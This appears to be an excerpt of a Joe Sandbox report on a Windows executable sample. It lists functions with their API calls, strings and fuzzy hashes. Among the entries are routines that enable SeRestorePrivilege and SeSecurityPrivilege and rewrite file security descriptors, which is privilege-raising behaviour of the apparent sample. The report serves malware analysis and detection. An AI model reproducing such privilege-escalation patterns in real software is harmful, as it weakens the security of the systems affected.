Opcode Fuzzy Hash: 131327f381336626f51c1b1e4d4a234bfad70b39e4a78b2d7dc9e93e7cbb53e2
Instruction Fuzzy Hash: 0F1104356082026BD710CBB8DCA8B993B94AB05328F64462EF521C72D2DB78DCC5D709

Function 00417635 Relevance: 3.0, APIs: 2, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000,004148D6,00000000), ref: 00417646

Part of subcall function 004174ED: GetVersionExA.KERNEL32 ref: 0041750C

HeapDestroy.KERNEL32 ref: 00417685

Part of subcall function 00417692: HeapAlloc.KERNEL32(00000000,00000140,0041766E,000003F8), ref: 0041769F

Memory Dump Source

Source File: 00000034.00000002.2795391480.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000034.00000002.2795316110.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795414368.000000000041E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795472621.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795490555.0000000000428000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_400000_azvw.jbxd

Similarity

API ID: Heap$AllocCreateDestroyVersion
String ID:
API String ID: 2507506473-0
Opcode ID: be7ba36ee05323b4acf4cd4af1487bb129e21c23fd765112a91abd45a39af523
Instruction ID: c639374c03c1bbca960cdedcb2ad31ff4a57a72680c20006ab14361f52bc4f08
Opcode Fuzzy Hash: be7ba36ee05323b4acf4cd4af1487bb129e21c23fd765112a91abd45a39af523
Instruction Fuzzy Hash: 4AF09B71A9C701AADF245F795D057E736F197447A5F11843BF940C41A0EF7C84D0991E

Function 00411DA0 Relevance: 3.0, APIs: 2, Instructions: 26COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5), ref: 00411DA5
GetConsoleScreenBufferInfo.KERNELBASE(00000000), ref: 00411DB1

Memory Dump Source

Source File: 00000034.00000002.2795391480.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000034.00000002.2795316110.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795414368.000000000041E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795472621.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795490555.0000000000428000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_400000_azvw.jbxd

Similarity

API ID: BufferConsoleHandleInfoScreen
String ID:
API String ID: 3205511803-0
Opcode ID: 6091993d0407b41d1096e467bcedc417f69b3cc921582001fceb4dbf2f452062
Instruction ID: 2683345625bb2b6ff7a4569ee6bc74124bc6c5927012fb1b6a6cc8e947cd4d2d
Opcode Fuzzy Hash: 6091993d0407b41d1096e467bcedc417f69b3cc921582001fceb4dbf2f452062
Instruction Fuzzy Hash: C8F0303420C2619B8708DF6CD88457FBBE4FF85B02F44892DF899C2254E678D444C616

Function 00419C6E Relevance: 2.6, APIs: 2, Instructions: 66COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(00000000,00000100,00000000,?,00000000,0041BA87,00000000), ref: 00419CD3
GetLastError.KERNEL32(?,00000000,0041BA87,00000000), ref: 00419CDD

Memory Dump Source

Source File: 00000034.00000002.2795391480.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000034.00000002.2795316110.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795414368.000000000041E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795472621.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795490555.0000000000428000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_400000_azvw.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: f9b6bb7d8100d4bbecf413796a04f0f93ba1cbe6bc72e755fd6993f7c43df49d
Instruction ID: 0a7daf000d88186497e87b0e4d2920fdb345bf05d39154690c4c97767af7b358
Opcode Fuzzy Hash: f9b6bb7d8100d4bbecf413796a04f0f93ba1cbe6bc72e755fd6993f7c43df49d
Instruction Fuzzy Hash: C61159327042046BD3109BA5FC59BEA37A89F9272DF24421FE451872C1EBBD9CC1919D

Function 004132B2 Relevance: 1.5, APIs: 1, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,00413296,000000E0,00413283,?,00418AD9,00000100), ref: 0041331E

Memory Dump Source

Source File: 00000034.00000002.2795391480.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000034.00000002.2795316110.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795414368.000000000041E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795472621.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795490555.0000000000428000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_400000_azvw.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 10cd39a4e3fb8dc6af8208fefe4471acc436069d1523d61133af57c11b9b0b1b
Instruction ID: 48b680421b518da560860e7c6281a74435bf10b9df979dcfe3be48ef626c488a
Opcode Fuzzy Hash: 10cd39a4e3fb8dc6af8208fefe4471acc436069d1523d61133af57c11b9b0b1b
Instruction Fuzzy Hash: 10F0F932A4522866EA20AF146D417CB6B54AB04725F160123FC60BB2D0CB28FDD1928D

Non-executed Functions

Function 00412830 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 80COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000028,00000000,004125D0), ref: 0041283A
OpenProcessToken.ADVAPI32(00000000), ref: 00412841
LookupPrivilegeValueA.ADVAPI32 ref: 00412874
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 00412898
GetLastError.KERNEL32 ref: 0041289E
CloseHandle.KERNEL32(?), ref: 004128B3
LookupPrivilegeValueA.ADVAPI32(00000000,SeSecurityPrivilege,00000000), ref: 004128D5
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 004128ED
GetLastError.KERNEL32 ref: 004128F3
CloseHandle.KERNEL32(?), ref: 00412908

Strings

SeRestorePrivilege, xrefs: 0041285D
SeSecurityPrivilege, xrefs: 004128CE

Memory Dump Source

Source File: 00000034.00000002.2795391480.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000034.00000002.2795316110.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795414368.000000000041E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795472621.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795490555.0000000000428000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_400000_azvw.jbxd

Similarity

API ID: Token$AdjustCloseErrorHandleLastLookupPrivilegePrivilegesProcessValue$CurrentOpen
String ID: SeRestorePrivilege$SeSecurityPrivilege
API String ID: 1809565852-639343689
Opcode ID: 0038326b2359d2eb237540bc216a645e7a39cfe756c0de5b997349a01dd5918c
Instruction ID: 14832d4c124a178f5e51333f31e844f1366d56099beffb2702e6ad8efb91e307
Opcode Fuzzy Hash: 0038326b2359d2eb237540bc216a645e7a39cfe756c0de5b997349a01dd5918c
Instruction Fuzzy Hash: 8621B3B5350305BBE610DB65DC05FEB7798AB84B50F408829FA00C61D0DBF4E4598B7D

Function 004125F0 Relevance: 18.1, APIs: 12, Instructions: 91memoryfileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000008,010E0000,00000005,00000000,00000003,02000000,00000000,76EBFFB0,00000000,00000001,76EBE820,004124B5,?,?), ref: 0041261C
GetKernelObjectSecurity.ADVAPI32(00000000,0000000F,00000000,00000000,?), ref: 00412643
GetLastError.KERNEL32 ref: 00412645
GetProcessHeap.KERNEL32(00000000,?), ref: 00412657
HeapAlloc.KERNEL32(00000000), ref: 0041265E
GetKernelObjectSecurity.ADVAPI32(00000000,0000000F,00000000,?,?), ref: 00412678
SetKernelObjectSecurity.ADVAPI32(00000000,0000000F,00000000), ref: 00412682
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00412697
HeapFree.KERNEL32(00000000), ref: 0041269E
CloseHandle.KERNEL32(00000000), ref: 004126A5
CreateFileA.KERNEL32(00000008,01000000,00000007,00000000,00000003,00000000,00000000), ref: 004126C0
CloseHandle.KERNEL32(00000000), ref: 004126C8

Memory Dump Source

Source File: 00000034.00000002.2795391480.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000034.00000002.2795316110.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795414368.000000000041E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795472621.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795490555.0000000000428000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_400000_azvw.jbxd

Similarity

API ID: Heap$KernelObjectSecurity$CloseCreateFileHandleProcess$AllocErrorFreeLast
String ID:
API String ID: 1259232358-0
Opcode ID: 2d09ea0bb7638fb770d8096d7de764fb49fa537e4193b44c19bd0124d84c7172
Instruction ID: 8f95d78b3328024af2753c56ff7b2632f9dbad148f303ec9c12ad49708251d75
Opcode Fuzzy Hash: 2d09ea0bb7638fb770d8096d7de764fb49fa537e4193b44c19bd0124d84c7172
Instruction Fuzzy Hash: 1521E271240315BBE7208F65DC49FEB7BA8EF89B11F108525FA04DA1D0D7F4E8018728

Function 0041BC50 Relevance: 9.1, APIs: 6, Instructions: 101COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,00000001,00000000,00000000,?,?,00000000,00000080,00000000,?,?,00000001), ref: 0041BC86
GetLocaleInfoA.KERNEL32(00000000,00000001,00000000,00000000,?,?,00000001), ref: 0041BC99
GetLocaleInfoA.KERNEL32(?,?,00000000,00000080,?,?,00000000,00000080,00000000,?,?,00000001), ref: 0041BCC0
GetLocaleInfoW.KERNEL32(?,?,00000000,00000000,?,?,00000000,00000080,00000000,?,?,00000001), ref: 0041BCE9
GetLocaleInfoW.KERNEL32(?,?,?,?,?,?), ref: 0041BD2C
WideCharToMultiByte.KERNEL32(00000000,00000220,?,000000FF,?,?,00000000,00000000,?,?,?,?), ref: 0041BD52

Memory Dump Source

Source File: 00000034.00000002.2795391480.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000034.00000002.2795316110.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795414368.000000000041E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795472621.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795490555.0000000000428000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_400000_azvw.jbxd

Similarity

API ID: InfoLocale$ByteCharMultiWide
String ID:
API String ID: 1691099609-0
Opcode ID: ff77e7eca9720c41c7d5f443828ee78ae5fb6385ae2af7653d22f72767a37d0e
Instruction ID: 958d6847a000fbb349c9dbb8f7dd6cc025be0d133b592c5778a926ff2135057d
Opcode Fuzzy Hash: ff77e7eca9720c41c7d5f443828ee78ae5fb6385ae2af7653d22f72767a37d0e
Instruction Fuzzy Hash: 4E318B31601229FBCF228F56DC49EDF7F74FB09B60F108526F915922A0D7788991CAE9

Function 0041BB3D Relevance: 9.1, APIs: 6, Instructions: 98COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,00000001,00000000,00000000,?,004290CC,00000001,00000004,00000000,?,?,00000001), ref: 0041BB73
GetLocaleInfoA.KERNEL32(00000000,00000001,00000000,00000000,?,004290CC,00000001,00000004,00000000,?,?,00000001), ref: 0041BB86
GetLocaleInfoW.KERNEL32(?,?,00000000,00000004,?,004290CC,00000001,00000004,00000000,?,?,00000001), ref: 0041BBAD
GetLocaleInfoA.KERNEL32(?,?,00000000,00000000,?,004290CC,00000001,00000004,00000000,?,?,00000001), ref: 0041BBD2
GetLocaleInfoA.KERNEL32(?,?,?,004290CC,?,004290CC,00000001,00000004,00000000,?,?), ref: 0041BC13
MultiByteToWideChar.KERNEL32(00000001,00000001,?,000000FF,00000000,00000004,?,004290CC,?,004290CC,00000001,00000004,00000000,?,?), ref: 0041BC34

Memory Dump Source

Source File: 00000034.00000002.2795391480.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000034.00000002.2795316110.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795414368.000000000041E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795472621.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795490555.0000000000428000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_400000_azvw.jbxd

Similarity

API ID: InfoLocale$ByteCharMultiWide
String ID:
API String ID: 1691099609-0
Opcode ID: 6176acd9af39b3310e1670d104befc426a1c5ec8e1d33516a1e498ba842b64ba
Instruction ID: 80d035fc61a38f0af9f2ad217f61039d53b68e42f171c84ccbdcf7cbbead4454
Opcode Fuzzy Hash: 6176acd9af39b3310e1670d104befc426a1c5ec8e1d33516a1e498ba842b64ba
Instruction Fuzzy Hash: E7319C31500209EBCF228F56CD45EEF7F75EB49B50F10852AF811922A0D7798991DBE9

Function 00416D51 Relevance: 4.7, APIs: 3, Instructions: 165COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(00000000,-00001002,?,00000078), ref: 00416D7F
GetLocaleInfoA.KERNEL32(00000000,00000000,?,00000078), ref: 00416DC5
GetLocaleInfoA.KERNEL32(00000000,00000000,?,00000078), ref: 00416E96

Memory Dump Source

Source File: 00000034.00000002.2795391480.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000034.00000002.2795316110.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795414368.000000000041E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795472621.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795490555.0000000000428000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_400000_azvw.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 9f90090d993ac7c305df7442b75dd3576b7d9cefd0c5a0f2cde790dcd44f731c
Instruction ID: dc89844be1d73419b197e80717226bdb5770609426176513082cb7a3ad8c00c6
Opcode Fuzzy Hash: 9f90090d993ac7c305df7442b75dd3576b7d9cefd0c5a0f2cde790dcd44f731c
Instruction Fuzzy Hash: 7E5194727556015AEB31DB25EC41AEF3BADEB10715F56013FE800C22A1DFA9C8C68B1C

Function 0041BD13 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,?,?,?,?,?), ref: 0041BD2C
WideCharToMultiByte.KERNEL32(00000000,00000220,?,000000FF,?,?,00000000,00000000,?,?,?,?), ref: 0041BD52

Memory Dump Source

Source File: 00000034.00000002.2795391480.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000034.00000002.2795316110.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795414368.000000000041E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795472621.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795490555.0000000000428000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_400000_azvw.jbxd

Similarity

API ID: ByteCharInfoLocaleMultiWide
String ID:
API String ID: 1196101659-0
Opcode ID: 5558466f0abd7b7493cc2bf79b0dddd4ae8569c55b6816c0c4c658fb69c1a660
Instruction ID: 31d47ac3fd5b94ecb22742bb44b162820398262bd93f2cf498d786ba73a29fe5
Opcode Fuzzy Hash: 5558466f0abd7b7493cc2bf79b0dddd4ae8569c55b6816c0c4c658fb69c1a660
Instruction Fuzzy Hash: 62F09A32901229FBCF264F82EC09ADF7F30FB85760F008226F922621A0C7344861CAE5

Function 0041BBFA Relevance: 3.0, APIs: 2, Instructions: 32COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(?,?,?,004290CC,?,004290CC,00000001,00000004,00000000,?,?), ref: 0041BC13
MultiByteToWideChar.KERNEL32(00000001,00000001,?,000000FF,00000000,00000004,?,004290CC,?,004290CC,00000001,00000004,00000000,?,?), ref: 0041BC34

Memory Dump Source

Source File: 00000034.00000002.2795391480.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000034.00000002.2795316110.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795414368.000000000041E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795472621.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795490555.0000000000428000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_400000_azvw.jbxd

Similarity

API ID: ByteCharInfoLocaleMultiWide
String ID:
API String ID: 1196101659-0
Opcode ID: 9eb92b3a7cf15e53121553cd13144aa6582e0c2c1dfe65d05ee3244f637f7b10
Instruction ID: 2d6427f8aa20fe1414e29516085f7d604162f02af8a5e6752e54a78417984fb5
Opcode Fuzzy Hash: 9eb92b3a7cf15e53121553cd13144aa6582e0c2c1dfe65d05ee3244f637f7b10
Instruction Fuzzy Hash: 36F03035900219EACF318F56DD05ADFBF31FB45760F10462AF925621E0EB354851DAD5

Function 0041725C Relevance: 1.6, APIs: 1, Instructions: 87COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(?,?,?,?), ref: 0041729D

Memory Dump Source

Source File: 00000034.00000002.2795391480.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000034.00000002.2795316110.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795414368.000000000041E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795472621.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795490555.0000000000428000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_400000_azvw.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: d11bff62c67589dcc09ef5241ee42cdf9f88c74ae04b8c5d5c73e73f0cd26bfb
Instruction ID: 75be6c02beabf803a7fc4e96b9c3a42d32ccb8a068e701f6d51d91f6728dc3c2
Opcode Fuzzy Hash: d11bff62c67589dcc09ef5241ee42cdf9f88c74ae04b8c5d5c73e73f0cd26bfb
Instruction Fuzzy Hash: EE216B3260C0059BDB284A38DD856F67775DB44341B494477FD02CA292E73AEED2D29D

Function 00416FAB Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(00000000,-00001001,?,00000078), ref: 00416FD7

Memory Dump Source

Source File: 00000034.00000002.2795391480.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000034.00000002.2795316110.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795414368.000000000041E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795472621.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795490555.0000000000428000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_400000_azvw.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 893157f915b6c02fd5ada0d35b3ef127db9ceb61bb3db7cdc74c10e6e612357b
Instruction ID: 8b9f09be45cda31c8b1cf3b17cd73bbf62894201d141fe0e773e0c3f75cf106f
Opcode Fuzzy Hash: 893157f915b6c02fd5ada0d35b3ef127db9ceb61bb3db7cdc74c10e6e612357b
Instruction Fuzzy Hash: E411B672B692016AE7309B25EC41AEB3BACEB14755F55003FF801D11A1EBA9C4C68B5D

Function 0041709F Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(00000000,-00001002,?,00000078), ref: 004170CB

Memory Dump Source

Source File: 00000034.00000002.2795391480.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000034.00000002.2795316110.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795414368.000000000041E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795472621.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795490555.0000000000428000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_400000_azvw.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 63507c303ede3921caba65f6ce60eb42d96a0c8cb0d7c1e69e731b16ec258969
Instruction ID: 81850ce66d6ca33ab545172f8868e9d86e81415df962d95f81e3ad912132f72d
Opcode Fuzzy Hash: 63507c303ede3921caba65f6ce60eb42d96a0c8cb0d7c1e69e731b16ec258969
Instruction Fuzzy Hash: 7A01F7736291116AE7309B34EC02AEB37ACEB10755B61413FF800C5191DFA888C68B48

Function 004171C4 Relevance: 1.5, APIs: 1, Instructions: 40COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(00000000,00000001,?,00000078), ref: 004171DE

Memory Dump Source

Source File: 00000034.00000002.2795391480.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000034.00000002.2795316110.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795414368.000000000041E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795472621.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795490555.0000000000428000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_400000_azvw.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 719b2f718b54a4177c125953744089af908c5c417972cf9d9832ab5408b7d0b0
Instruction ID: 6978367b58e2c2410655e08ecac337e351e9f268a727dde218835fb005340b87
Opcode Fuzzy Hash: 719b2f718b54a4177c125953744089af908c5c417972cf9d9832ab5408b7d0b0
Instruction Fuzzy Hash: 56F09632948204AAEF31ABB4EC46BCA37B9AB00754F14447BFA10E61D0DA79D4C1CA88

Function 00416CCA Relevance: 1.5, APIs: 1, Instructions: 37COMMON

Download Yara Rule

APIs

EnumSystemLocalesA.KERNEL32(00416D51,00000001,00425924,0041303A,?,00428D8C,?,?,?,00000000), ref: 00416D30

Memory Dump Source

Source File: 00000034.00000002.2795391480.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000034.00000002.2795316110.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795414368.000000000041E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795472621.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795490555.0000000000428000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_400000_azvw.jbxd

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: a7bb0882fa0fdb173d73acf3e9cadf1c318318983cd881b0aac2a392fc96364d
Instruction ID: d2e323bb029e7b0a897126f847bf2f891343e842901ec26812400a6b3106f349
Opcode Fuzzy Hash: a7bb0882fa0fdb173d73acf3e9cadf1c318318983cd881b0aac2a392fc96364d
Instruction Fuzzy Hash: 2CF081717612128AD7249F35FC0A7A937A5BB10706F96053EE410C61B0CFF884C68A0C

Function 00411CB0 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(00000400,00000021,?,00000002,00000000,0040941D), ref: 00411CBF

Memory Dump Source

Source File: 00000034.00000002.2795391480.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000034.00000002.2795316110.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795414368.000000000041E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795472621.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795490555.0000000000428000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_400000_azvw.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: f64141a690a3e9232ea995137bec61b94daafc7312ef2b75c4abfc6c2b8b1334
Instruction ID: b26c8389b7bf11535142398e37757b6b2d15ac830af8ac7aefcefff00ae82d06
Opcode Fuzzy Hash: f64141a690a3e9232ea995137bec61b94daafc7312ef2b75c4abfc6c2b8b1334
Instruction Fuzzy Hash: C6E0CD723A150116F72447A4C8C5BF36794F740301F18442BF307C96D0E55CCC81912C

Function 00416F55 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

EnumSystemLocalesA.KERNEL32(00416FAB,00000001,?,00425924,0041303A,?,00428D8C,?,?,?,00000000), ref: 00416F94

Memory Dump Source

Source File: 00000034.00000002.2795391480.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000034.00000002.2795316110.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795414368.000000000041E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795472621.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795490555.0000000000428000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_400000_azvw.jbxd

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: 961766b1373d32e20d781233b65e77b415bb57fe1c1931dd36f2c4f9580da8de
Instruction ID: 24001c68db538805d743db4dfa3dc963df6247e151c5e03366915cc87b7c35c7
Opcode Fuzzy Hash: 961766b1373d32e20d781233b65e77b415bb57fe1c1931dd36f2c4f9580da8de
Instruction Fuzzy Hash: C0E092727652118AD7205F30FC057993AA5BB10B05FA6013EE420C10F0CFF944CB8A0C

Function 00417068 Relevance: 1.5, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

EnumSystemLocalesA.KERNEL32(0041709F,00000001,004259A8,?,00425924,0041303A,?,00428D8C,?,?,?,00000000), ref: 00417088

Memory Dump Source

Source File: 00000034.00000002.2795391480.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000034.00000002.2795316110.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795414368.000000000041E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795472621.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795490555.0000000000428000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_400000_azvw.jbxd

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: 01c282eb77641323e9fe874f6d02881c1e97bfe8ac1b72935f4c6e12c196c4f6
Instruction ID: bae1840d9773f24e5d2ffe4de356391a1d12f5d8f190a3d469efc6c2ed09b3b8
Opcode Fuzzy Hash: 01c282eb77641323e9fe874f6d02881c1e97bfe8ac1b72935f4c6e12c196c4f6
Instruction Fuzzy Hash: 4CD05E727623118AD7105F30AD097A93E68AB14F0AFA1886DD910C50E1CAF948C9860C

